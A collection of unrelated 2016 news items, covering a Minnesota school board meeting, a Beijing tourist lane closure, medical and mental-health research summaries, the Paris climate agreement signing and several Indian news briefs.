Members of the NRHEG PTO appeared before the school board Monday evening to offer a donation in the amount of $37,739.63 for the new playset for Ellendale from Play&Park Structures, and another donation in the amount of $4,140 for the installation by Sequoia Landscape.

The existing playground equipment, which is used by 423 students, is 25 years old, they said, and was designed for half the students we have.

The NRHEG PTO has worked more than a year, processing hundreds of donations, and is currently waiting on grant proposals as well.

The PTO visited two other schools who have this equipment, and declared themselves very satisfied with it.

This will be the first of two proposed installations.

The board approved: 1. The donation from the PTO in the amount of $41,879.63 for purchasing and installing the equipment; and 2. The actual purchase of the equipment and contracting with Sequoia Landscape for the required work.

This does not include an additional contribution which the District will make, said Supt. Dale Carlson, for other things, such as mulch.

The amount of $41,879.63 was used in both actions, though the actual price tag is expected to be smaller when an additional three percent discount is applied.

Washington D.C. student trip

Georgia Dinneen thanked the board for the honor of leading the Washington D.C. trip for the last 10 years.

A tour guide told me I would never turn down NRHEG, said Dinneen, citing the NRHEG students exemplary behavior and enthusiasm.

We began in 2004 with one night and two days, Dinneen said, then later two nights, and in 2015 increased it to three nights.

Students saw a little of everything, at high speed. We tell people, theres not enough time to sleep or get into trouble.

Members of the party agreed that the pace was fast and exciting and an incredible trip, and that they had trouble trying to pick a favorite site among so many.

Prom

With the Prom coming up on May 7, Secondary Principal David Bunn detailed the after-prom schedule.

The Grand March will be at 3:30. At about 4:30 the buses will take the promgoers to Stillwater to board the riverboat Avalon. After midnight they will go to Grand Slam in Burnsville for the After Prom party, followed by a light breakfast back here in the Commons.

Bunn said 146 have signed up for the event.

Bunn also talked about WEB, or Where Everybody Belongs, a middle school transition program which NRHEG is looking into implementing. It should mix nicely with our Strategic Plan, he said, referring to suggestions of such a program at a Strategic Planning Committee meeting.

Calendar

A modified school calendar was approved, setting the last day of school at June 3 with a two-hour early dismissal. Also, March 24 weather related make-up day is waived for students, and is now an additional staff work day.

Teachers may choose to work either two days of June 4, 6 and 7, or one of those days and another to be approved by the supervisor.

Hourly staff who did not work on March 24 may work June 6.

Strategic Planning

Our Strategic Planning has gone well so far,  said Supt. Carlson, with 24 to 31 members present at all meetings.

Next, the admininstration will meet with the consultants, who will revise the findings and send the results to the full committee. Perhaps as early as the May 16 board meeting, we may have a Strategic Action Plan.

Should there be a work session in May?

Think it over, said Carlson, and you decide if youll be ready by May 16. It would be good to take advantage of staff still being here before summer comes.

Staffing Plan

I see a need to develop a policy to guide our staffing decisions, said Carlson, as there is not a policy currently in place.

Such a policy, he explained, would set guidelines in determining the number of sections for a class in the elementary, as well as for setting the number of course sections for the secondary school.

Attention is given to minimizing the number of sections with low student enrollment. So some singleton courses (where only one section is offered) have to be cancelled if demand is low. Frequently the number who actually enroll turns out to be less than the number who requested it, because of scheduling conflicts.

How many students does it take to offer a course? In high school in particular, student requests for elective courses (made in February) determine the number of staff needed for a curriculum area. NRHEG Secondary will have fewer staff per student next year when this years large fifth grade moves to New Richland, and 10 courses have been cancelled.

Courses to be cancelled include:

Agriculture: Ag Economics, Ag Power/Electricity

Art: Ceramics II, Photography

English: Journalistic Writing

FACS: Child Development, Internet Investing, Relationships

Science: Physics

Social Studies: 60s Today

Were working on some guidelines, said Carlson.

Will the cancelled courses be offered again? asked Mark Tollefson. Like, in another year?

If theyre cancelled more than twice in a row, we have to examine them, said Carlson.

There are exceptional courses, though, like industrial arts classes, where more than a certain number isnt a good idea.

No action was taken at this time.

Budget preview

Carlson gave the board a preview of the 2016-17 budget.

Revenues:

2016 - $10,612,116

2017 - $10,676,205

Expenditures:

2016 - $10,313,183

2017 - $10,715,401

Factors involved include an $8,000 house purchase, and a $70,000 technology outlay.

As you see, were looking at a deficit budget, said Carlson.

Were about $100,000 down. Not a big deal in a $10 million budget, but Id like to see closer to a zero deficit.

Staff changes

Resignations were accepted for Hillary Hagen, school nurse; Crystal Maxon, ECSE paraprofessional (14 years); and Carmen Weske, Food Service; and the retirement of Bonnie Jacobson, ECSE Preschool Teacher (24 years).

The board approved the hire of Claire Dembsky, Middle School Science teacher, at BA(0) Step A. Dembsky is a graduate of Luther College.




 Flash

South Luogu Lane in Beijing [Photo/CRI]

Nanluoguxiang (South Luogu Lane), a famous tourist spot in Beijing will be closed to group visitors starting next Monday, April 25. The area has also lost its qualification as a national 3A grade scenic spot, the Beijing Youth Daily reported on Friday.

With a 768-meter central lane running from south to north and eight alleys meandering east to west on both sides, South Luogu Lane is filled with cafes, bars, restaurants and shops, all designed in the classical Chinese hutong style. The area has a history of more than 700 years.

Statistics show that the current average daily flow of visitors through South Luogu Lane has surpassed 30,000. The figure rises to 50,000 on weekends and as high as 100,000 on holidays. But the holding capacity of South Luogu Lane is only 17,000, according to a standard issued by the China National Tourism Administration. The overcrowded passenger traffic is not only harm to the protection of this historical and cultural zone, but also has high risk of causing a public safety incident, said a staff member of the Tourism Development Commission in Dongcheng District, where the area is located.

As one of Beijing's 25 cultural and historical protection areas, South Luogu Lane is also a residential area. At present, parts of it are undergoing renovation. To protect its original appearance and avoid any public safety incidents, the commission decided to close the lane to group visitors. We hope travel agencies and tourists can adjust their routes in advance, said the staff.

Meanwhile, a staff member with the Beijing Municipal Commission for Tourism Development told the reporter that the disqualification of national 3A grade scenic spot was requested by South Luogu Lane out of the consideration for traffic control.

Located in downtown Beijing, the lanes neighboring areas have been under great traffic pressure and its evacuation space is very limited. As a free entrance spot, its large visitor flow has also affected local residents daily life.

After the disqualification, the Municipal Commission for Tourism Development will not suggest travel agencies bring tourism groups there. But South Luogu Lane is still open to independent travelers.

Overcapacity has become a common problem for tourist spots in Beijing. Many of them have implemented measures to control tourist traffic with successful results. For example, the daily tourist flow in the Forbidden City has dropped to around 80,000 from 180,000.
By Mark Cowen, Senior medwireNews Reporter

Results from a Spanish study suggest that the prevalence of obsessive-compulsive disorder (OCD) and associated symptoms among children is higher than previously thought.

In a study of 1514 nonreferred children aged 8 to 13 years, Josefa Canals (Universitat Rovira i Virgili, Tarragona, Spain) and team found that 1.8% met the criteria for OCD, 5.5% had subclinical OCD, and 4.7% had some OC symptomatology.

"This rate [of clinical OCD] was higher than that found by other studies of samples with similar ages, but was in keeping with data obtained from samples of older adolescents," the authors comment.

The researchers recruited 720 boys and 794 girls from 13 primary schools in Catalonia.

All of the children were assessed for OCD and subclinical OCD using the Mini-International Neuropsychiatric Interview for Kids. A diagnosis of OCD was made when a child met full DSM-IV criteria for the disorder, while subclinical OCD was diagnosed when a child did not meet functional impairment criteria.

The researchers found that there was no significant difference in the prevalence of OCD and OC symptomatology between boys and girls, although boys were more likely to have subclinical OCD than girls, at 7.6% versus 3.8%.

Among children with clinical OCD, 85% also had other psychiatric disorders, with generalized anxiety disorder being the most common comorbidity (55%), followed by separation anxiety (40%), depression (35%), and social phobia (30%).

The researchers found that participants with clinical OCD had significantly lower scores on the Children's Global Assessment Scale (CGAS) than those with subclinical OCD, at 61 versus 72, indicating poorer functioning. In turn, children with subclinical OCD had significantly lower CGAS scores than those without OCD symptoms, at 72 versus 93.

Children with OCD also had significantly poorer academic performance than those with either subclinical OCD or those without symptoms.

Canals et al conclude in the Journal of Anxiety Disorders: "The estimated prevalence of clinical and subclinical OCD was high, with high rates of comorbidity and functional impairment, which supports screening in the non-clinical population and the possibility of early diagnosis and treatment."

Licensed from medwireNews with permission from Springer Healthcare Ltd. Springer Healthcare Ltd. All rights reserved. Neither of these parties endorse or recommend any commercial products, services, or equipment.
How do we balance the needs for individualized health care with the public health programs serving communities - especially in the context of environmental pollution and climate change? Given a fixed set of resources, maximizing the potential of both is challenging, indeed.

This subject is one of the focus areas at the International Conference on One Medicine One Science (iCOMOS) at the University of Minnesota April 24- 27, 2016.

The biological revolution linking genotypic variation to health and disease has created vast potential for tending to the health of individuals based on personal health risks, drug sensitivities, nutritional needs, and yet-to-be-discovered variables. Individualized medicine requires large investments and resource commitment to address individual needs. Public health, based on scientific knowledge of generalized health risks and rewards, requires investments and commitments to population and health impacts of local and global environments. Given a fixed set of resources, maximizing the potential of both is challenging at best.

Genetics & Genomics eBook Compilation of the top interviews, articles, and news in the last year. Download a copy today

The scientific complexities of individual and population health is examined by such experts as:

Susan M. Wolf, J.D. Professor of Law, Professor of Medicine, University on Minnesota on ethical challenges of translating genomic research into public health benefit.

Arthur Caplan, Ph.D. New York University professor of bioethics on the ethics of personalized medicine vs. public health

Elaine Ostrander, Ph.D. NIH Distinguished Investigator on the science behind personalized medicine

Mark Feinberg, M.D. Ph.D President of the International AIDS Vaccine Initiative on the challenges and opportunities with vaccines.

Adam Berger, Ph.D Senior Fellow, U.S. Dept. of Health and Human Services discusses the President's Precision Medicine Initiative.

iCOMOS 2016 includes presenters and participants in human health, veterinary medicine, public health, food policy, food production and food safety, infectious diseases, environmental health, and agriculture. Speakers and participants from more than 30 countries will participate.
Arrhythmogenic cardiomyopathy (ACM) is an inherited heart disease that results from mutations in genes that encode components of the cardiac desmosome, which forms the junction between cardiac muscle and the epithelium. Patients with ACM have an increased risk of sudden death due to the breakdown of the muscle wall of the heart with age. A previous chemical screen in a zebrafish ACM model identified a glycogen synthase kinase 3 (GSK3) inhibitor (SB2) that reversed disease. In this issue of JCI Insight, investigators led by Jeffrey Saffitz of Harvard Medical School and Daniel Judge of John's Hopkins School of Medicine examined the effects of the GSK3 inhibitor SB2 in two murine models of ACM. SB2 improved cardiac function, reduced fibrosis and inflammation, and improved survival in both ACM models. In cardiac cells from healthy mice, GSK3 was in the cytosol. However, GSK3 localized to intercellular junctions in mice with ACM. The same GSK3 distribution patterns were also present in cardiac cells from healthy individual and patients with ACM. The results of this study provide further evidence that GSK3 inhibition has potential as a therapeutic strategy for treating ACM.

Source: Journal of Clinical Investigation
But mental health services with higher levels of staff turnover have higher patient suicide rates

Increasing specialist community services like crisis resolution, helping make the transition to adult services smoother for young people, and implementing clinical guidelines are just some of the service changes that are linked to significantly reduced suicide rates in mental health services in England over the last 16 years, according to new research published in The Lancet Psychiatry journal.

The study by researchers at the National Confidential Inquiry into Suicide and Homicide by People with Mental Illness at the University Manchester also finds that suicide rates were higher in mental health trusts with higher levels of staff turnover, suggesting that organisational factors may be equally important in preventing suicide.

Previous studies examining which aspects of mental health service provision are most effective in preventing suicide are scarce, have been inconsistent in their findings, and limited in scope. This is the first study to look at the impact of specific mental health service improvements in a range of organisational contexts, on suicide rates.

In this study, the authors analysed the impact of 16 recommendations and service changes in all National Health Service (NHS) mental health services across England on patient suicide rates between 1997 and 2012. They also looked at whether suicide deaths were related to the way mental health services were organised (using measures such as staff turnover, staff and patient satisfaction, patient complaints). The research included data from 19248 individuals who died by suicide in England over the 16-year period and were in contact with mental health services in the 12 months before they died. This represents over a quarter of all suicide deaths in England during this time. The researchers compared suicide rates before and after these recommendations and service changes were introduced.

By 2012, 58 services (94%) had implemented at least 10 of the service changes and 34 (55%) had implemented all 16. The individual service changes that were most widely implemented were removal of noncollapsible ligature points on wards, policies to reduce absconding on in-patient wards, and a mechanism to implement National Institute for Health and Care Excellence (NICE) guidelines.

The five mental health service changes linked to the biggest falls in suicide were: increasing the availability of specialist community services like crisis resolution and home treatment; better management of patients with dual diagnosis (ie, drug or alcohol misuse as well as major mental illness); reviews and information with families after suicide; introducing policies to help manage the transition to adult mental health services for young people; and implementing the NICE guidelines on depression.

The researchers found that implementing recommendations and service changes was associated with significantly lower suicide rates. Each of the 16 recommendations and service changes were linked with 20-30% decrease in the suicide rate (from around 12 suicides per 10000 contacts with mental health services to approximately 9).

The study also linked suicide rates to some wider organisational factors including higher levels of non-medical (e.g. nursing) staff turnover and reporting of patient safety incidents. However, other factors like staff sickness and patient satisfaction did not appear to affect suicide rates.

Importantly, implementing the five most promising changes had a greater impact in mental health services with low levels of non-medical staff turnover and higher levels of overall reported safety incidents. A workforce that is constantly changing is likely to affect the continuity of care and this could compromise safety, explains Professor Nav Kapur, lead author and Head of Suicide Research at the Centre for Suicide Prevention at the University of Manchester in the UK. High numbers of safety incidents might suggest a culture of openness in which staff and the organisation learn from adverse incidents, but they may also be a warning that there are real patient safety issues.

According to Professor Kapur:

Our study suggests that many of these interventions may prevent suicide and save lives. The data also show that at least as important as these initiatives might be the organisational context in which they are introduced. These are important findings for mental health services worldwide, particularly in those countries where there is a focus on community care such as the USA, Europe, and Australasia.

Professor Louis Appleby, Director of the National Confidential Inquiry and one of the co-authors of the study added:

This study shows that how clinical staff work can make a difference to patient suicide risk. Mental health trusts with low staff turnover, and where staff reviewed suicide deaths with families had lower suicide rates suggesting that healthy, learning organisations may also be safer.

Writing in a linked Comment, Dr Matthew Spittal and Dr Marie Bismark from The University of Melbourne in Australia say:
Cocaine use has increased substantially among African Americans in some of the most underserved areas of the United States. Interventions designed to increase connection to and support from non-drug using family and friends, with access to employment, the faith community, and education, are the best ways to reduce substance use among African Americans and other minorities in low-income, resource-poor communities, concludes a study led by a medical anthropologist at the University of California, Riverside.

The study, which analyzed substance-use life history interviews carried out from 2010 to 2012, focused on urban and rural locations within the Arkansas Mississippi Delta - a region characterized by strained race relations, a stagnant economy, high unemployment, low incomes and high emigration, and where the population is predominantly African Americans living in poverty.

"African Americans within such contexts often face multiple obstacles to accessing formal drug treatment services, including access to care and lack of culturally appropriate treatment programs," said lead researcher Ann Cheney, an assistant professor in the department of social medicine and population health in the Center for Healthy Communities in the UC Riverside School of Medicine. "Despite these obstacles, many initiate and maintain recovery without accessing formal treatment. They do so by leveraging resources or what we refer to as 'recovery capital' - employment, education, faith community - by strategically connecting to and obtaining support from non-drug using family and friends."

The study, published this week in the journal Substance Use and Misuse, illustrates that social networks and the resources embedded within them are critical to reduce substance use among minorities in resource-poor communities.

"Recovery without treatment, also called natural recovery, is common and perhaps even more prevalent among ethnic and racial minorities than among Whites," Cheney explained. "Cocaine use varies along racial lines and social class and is increasingly a problem among African Americans in rural Arkansas."

Fifty-one African American current cocaine users participated in the study. They were between the ages of 18 and 61, represented by men and women about equally, and reported no formal drug use treatment/counseling in the past 30 days. Each provided information that included his/her perception of substance abuse in the community, cocaine use history, attempts to cut down or stop cocaine use, and treatment experiences.

Cheney and her colleagues found that nearly three-quarters of the participants (72 percent) reported at least one attempt in their lifetimes to reduce or quit cocaine use, motivated by:

Social role expectations (desires to be better parents or caregivers and responsible persons, prevent harming their children, become more present in their children's lives, prevent hurting loved ones).

Fatigue (participants were tired of the drug lifestyle and its effects on their physical and mental health).

Criminal justice involvement (incarceration forced participants to quit cocaine use).

Access to recovery capital (most participants accessed substance use treatment programs or self-help groups at some point in their lives).

Abstinence-supporting networks (these helped participants reduce cocaine use and/or achieve temporary recovery outside of rehab).

Pro-social lives and activities (participation in church, leisure-time activities were critical to reducing cocaine use).

Religion and spirituality (faith in the divine helped participants reduce or quit cocaine use).

"Our analysis showed that recovery without treatment largely coincided with lifestyle changes and shifting social relationships," Cheney said. "African Americans, especially those in rural areas, often face personal, cultural, and structural barriers to accessing formal treatment programs. This makes reducing or quitting cocaine use without formal treatment a more feasible alternative and encourages reliance on existing networks of support. Interventions that are culturally appropriate and feasible within their resource-poor communities are needed. While accessing resources in faith communities is normative among African Americans in the South, other minority or underserved populations may hold different values and find valued resources within other social spaces."

According to Cheney, ideally, the best approach would be for interventions to increase users' access to resources that would allow them to live more conventional lifestyles (e.g., employment, stable housing) and meaningful lives (e.g., non-drug using friends, faith or supportive communities).

"This approach is ideal in resource-poor communities - as long as interventions are tailored to local contexts and cultures," she said.
 Flash

As President Xi Jinping's special envoy prepares to sign the historic and ambitious Paris climate agreement on Friday in New York, international environmental groups are praising China for significantly increasing the chances that the agreement can take effect before the 2020 deadline.

China will sign the historic climate agreement with the United States  the two countries account for 38 percent of the world's greenhouse gas emissions  and about 160 other nations.

The signing of the agreement, which was reached in December, will take place at United Nations headquarters on Friday, which is also International Mother Earth Day.

The president's special envoy, Vice-Premier Zhang Gaoli, is also scheduled to meet with UN Secretary-General Ban Ki-moon and some state leaders about further cooperation.

After the signing ceremony, China will begin the legal process to join the agreement and will ratify it as soon as possible, said Su Wei, director of the Department of Climate Change of the National Development and Reform Commission.

Countries that don't sign the agreement on Friday will still have a year to do so. Countries that sign must then have the agreement ratified by their own legislative procedures.

At least 55 countries, representing at least 55 percent of global greenhouse gas emissions, must ratify the agreement before it can take effect.

The agreement aims to hold the increase in the global average temperature to less than 2 degrees Celsius above pre-industrial levels and to work toward limiting the increase to 1.5 C.

China and the US have announced that they will join the agreement this year. There are indications that more countries will also join this year.

"China has been very cooperative in terms of getting us to the Paris agreement and I think you've heard Secretary Kerry speak about their leadership role in Paris in December in terms of helping marshal those 196 countries in getting that agreement done. I think you are also, I'm sure, aware that China also intends to sign on Friday and to join, formally join. So we welcome that news, we are grateful for the leadership that they have shown, the stewardship they are demonstrating on this issue," said John Kirby, a spokesman for the U.S. State Department.

Eliza Northrop, a researcher at the World Resources Institute, also said the signing by China and the US will give a major boost to efforts to reach the threshold for entry into force.

"It is reasonable to think the entry into force would happen in 2017," she said. "But given the varying timelines for countries to complete their domestic approval processes, the timing of entry into force is uncertain."

Samantha Smith, leader of the World Wildlife Fund, said more efforts are urgently needed for the climate change meeting next month in Bonn to pick up on issues where the Paris meeting left off.

"We hope that leaders will not only send strong signals to their negotiators, but even instruct them, about the key elements needed to give life to the Paris Agreement."
Mumbai: A Bangladeshi citizen has been arrested after he allegedly took photos and recorded videos of a 23-year-old air hostess inside an Indigo flight without her consent.



The incident took place aboard a Kolkata-Mumbai flight. The accused was arrested by the airport police after the air hostess complained.



"I saw him take pictures of an air hostess," a witness said.



DCP Virendra Mishra said based on the complaint filed by one of the air hostesses, Ashim Bhumik (38), a Bangladeshi national, was arrested under section 354 (assault or criminal force to woman with intent of modesty) of IPC.







(With PTI inputs)
New Delhi/Kollam: The country was on Sunday left shocked and saddened as it woke up to a massive temple tragedy in Kerala, with the President and the Prime Minister joining the people in mourning the loss of life in the incident, which brought into focus the question of fireworks safety.



At least 100 people were killed and 383 injured in the major fire at around 3.30 AM that engulfed the 100-year-old Puttingal Devi Temple complex packed with thousands of people near Kollum during a display of fireworks held by the temple management despite the authorities denying permission for it.



"Fire at temple in Kollam is heartrending and shocking beyond words. My thoughts are with families of the deceased and prayers with the injured," Prime Minister Narendra Modi, who visited the site, said. He said the horrific tragedy cannot be described in words.



President Pranab Mukerjee also conveyed "heartfelt condolences on loss of lives in Kerala temple fire".



Praying for the departed souls and well being of the injured, Congress President Sonia Gandhi asked Kerala government to ensure ample and immediate relief measures while party Vice-President Rahul Gandhi too visited the site and the hospital to inquire about the injured.



Lok Sabha Speaker Sumitra Mahajan, BJP Chief Amit Shah, chief ministers, governors and leaders of various parties expressed grief over the tragedy.



Expressing shock and grief over the incident, CPI leader D Raja said the state government and temple authorities should answer if they had taken adequate safety measures.



"There are several issues which need to be answered by the state government and the temple authorities. ...whenever there is temple festival, thousands of people gather but were there adequate safety arrangements."



National Conference leader Omar Abdullah said his thoughts and prayers are with the victims and their families. "God be with them in this hour of darkness & despair," he tweeted.



Indian Medical Association in Kerala decided to move the Kerala High Court seeking a ban on display of fireworks which are common in the state during festivals and political programmes.



IMA Kerala president Dr A V Jayakrishnan said their Thiruvananthapuram branch President R C Sreekumar would file a writ petition before the High Court, seeking to curb use of firecrackers.



The mishap occurred as sparks of the fireworks during the festivities fell on the store room 'Kambapura' where crackers were stored, leading to many explosions which were heard over a radius of one kilometre. The temple complex is around 70 kms from state capital Thiruvananthapuram.



A large number of people died when concrete chunks and iron grills from the structures fell on those who had gathered to watch the festivities, according to eyewitnesses.



Pankajakshi Amma, on whose complaint the Kollam collector had denied permission to the Puttingal Devi temple authorities to conduct the fireworks display, on Sunday said she would continue her fight and resort to legal steps to ensure a total ban.



Pankajakshi Amma's house, located about 50 metres from the tragedy site, was damaged too in the mishap.



She and her family had approached the district administration requesting a ban on the fireworks display this year.Though revenue officials had visited them to verify the complaint and take evidence and informed them that there was a stay on the display, it was, however, held, her son-in law Prakash said.



Bollywood too was shaken by the tragedy with filmmaker Shekhar Kapur appealing for control over fire works. "People go to pray and celebrate life. Come away in wake of death and tragedy #fireworks getting dangerous and must must be controlled #Kollam."



Actress Dia Mirza blamed the tragedy on negligence. "When tragedies are struck by human apathy and negligence it makes it so much more painful...so many innocent lives lost. Gutted. #Kollam."



While ordering a judicial probe into the incident, Kerala Chief Minister Ooomen Chandy also announced ex-gratia relief of Rs 10 lakh to kin of each of those killed in fire tragedy and Rs 2 lakh for seriously injured.



Modi also announced an ex-gratia relief of Rs 2 lakh for the kin of the dead and Rs 50,000 for those seriously injured. "Very sad news from Kerala. My deepest condolences to the families who lost their loved ones. Prayers for those injured," West Bengal Chief Minister Mamata Banerjee tweeted.



"Saddened by the Kerala temple fire tragedy. My heartfelt condolences to families of the deceased and prayers with those injured," her Bihar counterpart Nitish Kumar said on Twitter.



RJD supremo Lalu Prasad too expressed grief at the Kollam temple fire incident saying, "heart goes out for the victims and families".



"Very sad to hear such tragic news. Prayers with all victims," Delhi Chief Minister Arvind Kejriwal said in a tweet.
New Delhi: More technology-based start ups are needed in India to create inventions to help enhance the quality of life of the people, V. Ramgopal Rao, director of the premier IIT-Delhi says.



"One thing which needs to happen in the country is more technology start ups. There are a lot of start up companies in India but many of them are e-commerce based," Rao told IANS as the institute prepares to host on April 23 its 12th Open House that gives an insight into the massive research work happening on the campus.



"The technology start-ups will actually create inventions. They have the potential to boost agricultural productivity and can add to the wealth of the nation," he added.



The Open House is set to feature over 20 "high societal impact" projects along with 500 research projects and 80 demo projects.



"Among some of the projects to be showcased at the Open House, the technology can be bought by people and help enhance the quality of life. Technology-based entrepreneurship, product development still hasn't been taken up in India in a big way," Rao noted.



Rao said that an ecosystem needs to be created for those who create technology-based products.



"When a person creates such a (technology-based) product, he takes it to the market. One way is to license it to a company which is already in that space, but it may not always be possible. If a researcher wants to start such a company, the person would want to scale up production facilities which requires investment. For this you will need vice chancellors to support you. This technology incubation is where we (IIT Delhi) are going to put emphasis now."



The director also said events such as Open House will help connect institutes like IITs with the society.



"I see a lot of hope (through such events). The activities have already begun in that direction. IITs are doing research, publishing papers, but we're not connecting strongly enough with society. But now it seems that things are beginning to happen," Rao said.



On the fewer number of women in the field of science and research, Rao said: "I am ashamed over the ratio of female researchers to male researchers at the IIT campuses. There are not even many women in the leadership position in the country right now. This is not a good sign. At IIT Delhi we have actually consciously asked why is that we don't have dean who are women. We have to address this issue."
Kuala Lumpur: Russia could supply air defence systems and other equipment to the Indian Vikrant-class aircraft carrier currently under construction, the head of Russian conglomerate Rostec has said.



Viktor Kladov, head of the International Cooperation Department of Russia's state technology corporation Rostec, said: "Guidance systems, air defence systems, as well as various systems of airborne weaponry, including anti-aircraft, could be supplied on board the aircraft carrier. An aircraft carrier is a vast platform and we have something to offer to our partners," Kladov told RIA Novosti in an interview, Sputnik News reported.



The first of the Vikrant-class aircraft carriers, the INS Vikramaditya, is Russian-built.



The second vessel of the class, INS Vikrant, is set to become India's first indigenous carrier. However, according to Kladov, India still needs Russia's technical assistance in various aspects of the INS Vikrant project.




Mumbai: A medical officer in Mumbai's Arthur road jail was shunted out after it was found that he fudged arrested NCP leader Chhagan Bhujbal's medical records.



The doctor fudged a medical register entry by his superior recommending that he be treated for toothache, a senior Prisons department official said today.



Bhujbal, remanded in judicial custody in an alleged money laundering case, was admitted to ICU of the multi-speciality hospital on April 18 after he complained of severe chest pain and high blood pressure.



However, the probe by the Prisons department has revealed that Dr Rahul Ghule altered the initial recommendation made by his senior in the medical register that Bhujbal be taken to the hospital for toothache by writing that he be taken to medical OPD.



"On April 16, Dr Bansode (Chief Medical Officer, Arthur Road Jail) had recommended that Bhujbal be taken (to St George) to dental OPD for his toothache. "However, on April 17, despite being on leave, Ghule, without the knowledge of CMO or jail authorities, fudged the jail register no.32 wherein he changed initial recommendation regarding Bhujbal by suggesting that he (Bhujbal) be taken to medical OPD there for other reasons," Bipin Kumar Singh, IG, (Prisons) said.



The officer said they suspect that Ghule had also accompanied Bhujbal to the hospital on April 18. Considering the seriousness of the act, the jail authorities have repatriated Ghule to Public Health Department and recommended stringent action against him.



"If a prisoner has a medical ailment, he has the right to get medical treatment. But, never is a prisoner taken anywhere except J J Hospital. Ghule has been fired as he was found guilty and we have recommended strict action against him," Singh said.



He said the motive behind Ghule's conduct and whether he received favours for it will be ascertained after the health department completes its probe into the matter. Interestingly, Ghule had earlier alleged special treatment to inmates of the prison by the authorities in lieu of monetary considerations.



MoS, Home, (Urban) Ranjit Patil had ordered a DGP level probe into allegations of VIP treatment being accorded to some detainees in lieu of bribe at the jail.



The orders came after Ghule on April 6 wrote to Chief Minister Devendra Fadnavis alleging that jail authorities were coercing and threatening inmates lodged for economic offences and forcing them to cough up lakhs of rupees for availing VIP treatment.



DIG (Prisons) Rajan Dhamne on Friday recorded Ghule's statement as part of the probe. Jail authorities are now awaiting the discharge report of Bhujbal.



With PTI Inputs.
Chandigarh: If you are heading to Ladakh in your SUV to beat the heat, please keep this in mind. The odd-even car rationing scheme might halt your journey in the Himalayan mountains.



Taking a cue from Delhi, the Manali District administration has proposed traffic movement from Manali and Lahaul over the Rohtang Pass on alternate dates in a bid to avoid traffic congestion.



On odd dates, vehicles will be allowed to move from Manali over the Rohtang Pass and go into Lahaul Spiti for onward journey to Leh in Ladakh. On even dates, vehicles coming from Leh/Lahaul Spiti side will be allowed to cross Rohtang Pass and come to Manali for onward journeys.



The move intends to allow traffic stream from only one side on alternate days to regulate congestion.



Heavy congestion of roads take place over Rohtang Pass in the summer season after the Manali-Leh road is opened. The road link is a critical lifeline for Lahaul Spiti and Leh.



However, the policy has not yet been implemented and will be modified after it is put into practice, and any inconvenience or issues caused are taken care of by the administration.
Trying to get back at China for the snub on Masood Azhar at the United Nations, India has issued an e-visa to a prominent Uighur dissident, Dolkun Isa, to attend the upcoming conference on Democracy at Dharamsala in Himachal Pradesh from April 28 to May 1.



But, much to Indias consternation, a new hurdle has cropped up. Isa has an Interpol Red Corner Notice against him after China declared him a wanted terrorist.



The dilemma before Indian authorities is whether to let Isa come, because if he lands up in India, then as per international convention, India has to arrest and deport him to China.



At the same time, grant of an e-visa does not automatically guarantee entry into India. The other option is to ask him to go back once he lands in Delhi, citing lack of sufficient documents. The third, and most difficult option, would be to persuade Isa to not take the flight to India.



Interestingly, Dolkun Isa has written to the Indian Consul General in Munich, where he resides, asking for a written guarantee that he will not be arrested once he lands in India. Such a written guarantee would be almost impossible for India to give.



The Chinese Foreign Ministry meanwhile has reacted rather sharply to Indias plans to receive Dolkun Isa and other prominent Uighur dissidents for the conference thats being hosted by the Tibetan government-in-exile in Dharamsala.



"Dolkun Isa is a terrorist on red corner notice of Interpol and the Chinese police. Bringing him to justice is a due obligation of relevant countries," that was the rather terse statement of the Chinese Ministry of Foreign Affairs in Beijing.



Reacting to these developments at his weekly briefing, Vikas Swarup, spokesperson of the Ministry of External Affairs, simply said that, "MEA is ascertaining all relevant facts of the case, and will get back to you as and when we have them."



Isa has been detained in the past in non-EU countries when he travelled there because of the Interpol Red Corner Notice.



This controversy comes close on the heels of three high-profile engagements between India and China in recent days.



On Monday, External Affairs Minister Sushma Swaraj met with her Chinese counterpart Wang Yi in Moscow on the sidelines of the Russia-India-China trilateral meeting.



The next day, Defence Minister Manohar Parrikar met his Chinese counterpart in Beijing, and on Thursday, National Security Advisor, Ajit Doval, was in Beijing to co-chair the 19th round of Special Representative Talks between India and China on the boundary dispute.


Cairo: People of India and Egypt share a very old bond of love and affection and they will celebrate this relation during a two-week long cultural programme in the country, India's Ambassador to Egypt has said.



The fourth edition of 'India by the Nile' cultural programme, organised by India, will take place in five cities -- Cairo, Alexandria, Ismaila, Port Saeed and Bani Suef.



"India by the Nile is a connection between the people of India and the people of Egypt, who share a very old bond of love and affection, a bond which stretches across various areas. Through two weeks, the people of the two countries will celebrate this bond," Ambassador Sanjay Bhattacharyya said yesterday.



The event has been a great attraction for Egyptians as it brings different contemporary and classical music concerts, dance, theatre, visual arts, film, food and literature. Bhattacharyya said the festival, organised by the Embassy of India in Egypt and Teamwork Arts, is the most important cultural event by a foreign country in Egypt. "I am happy to be here tonight celebrating the launch of India by the Nile. This year the festival brings various events which will be held in different cities of Egypt," said Camelia Sobhi, First Under Secretary for Foreign Cultural Relations in the Ministry of Culture.



"Culture is an extremely important part in any civilisation and it can bring people together. Culture allows you a window into another world, another people, history, philosophy, tradition and way of thinking," said Sanjoy Roy, Director of Teamwork Arts. Adel el-Masri, Technical Adviser to the Minister of Tourism said he considers this fourth edition of the festival as a success for the efforts of Embassy of India in Egypt and this confirms the deep cultural and political relations between the two countries.



A number of distinguished Egyptian women will be honoured on the opening day event "Women of Substance". The festival will bring Indian classical dance, world music, Bollywood musicals and world class photography exhibition to Egypt. There would be a Food fiesta by Indian celebrity chef and entrepreneur Vikram S Udaygiri. A Bollywood workshop by trainer Gilles Ghuyen will be held. The world music band Indian Ocean will perform in Ismaila in front of the new Suez Canal.
New Delhi: Actor Nawazuddin Siddiqui is elated that his film 'Raman Raghav 2.0 will be premiering at the upcoming 69th Cannes International Film Festival, as he says it is a sign that he is on the right path in his career.



Filmmaker Anurag Kashyaps 'Raman Raghav 2.0' is based on notorious serial killer Raman Raghav, who went on murder spree in Mumbai in the 1960s. It features Nawazuddin as the notorious serial-killer alongside Vicky Kaushal, who plays a police officer.



I am very happy that another film if mine, 'Raman Raghav 2.0' is premiering at Cannes. It only goes to show that you are on the right track and are making the right choices, Nawazuddin said in a statement.



Nawaz is a regular at the prestigious film festival. 'Raman Raghav 2.0' marks his eighth film at the film gala in four years. Earlier films to make it to the Cannes were 'The Lunchbox', 'Gangs of Wasseypur', 'Miss Lovely' and 'Liar's Dice' to name a few. His seven films as an actor and one short film as a producer have gone to the film festival.



His debut production 'Miyan Kal Aana', that is directed by his brother, Shamas Siddiqui, was also screened at the festival.



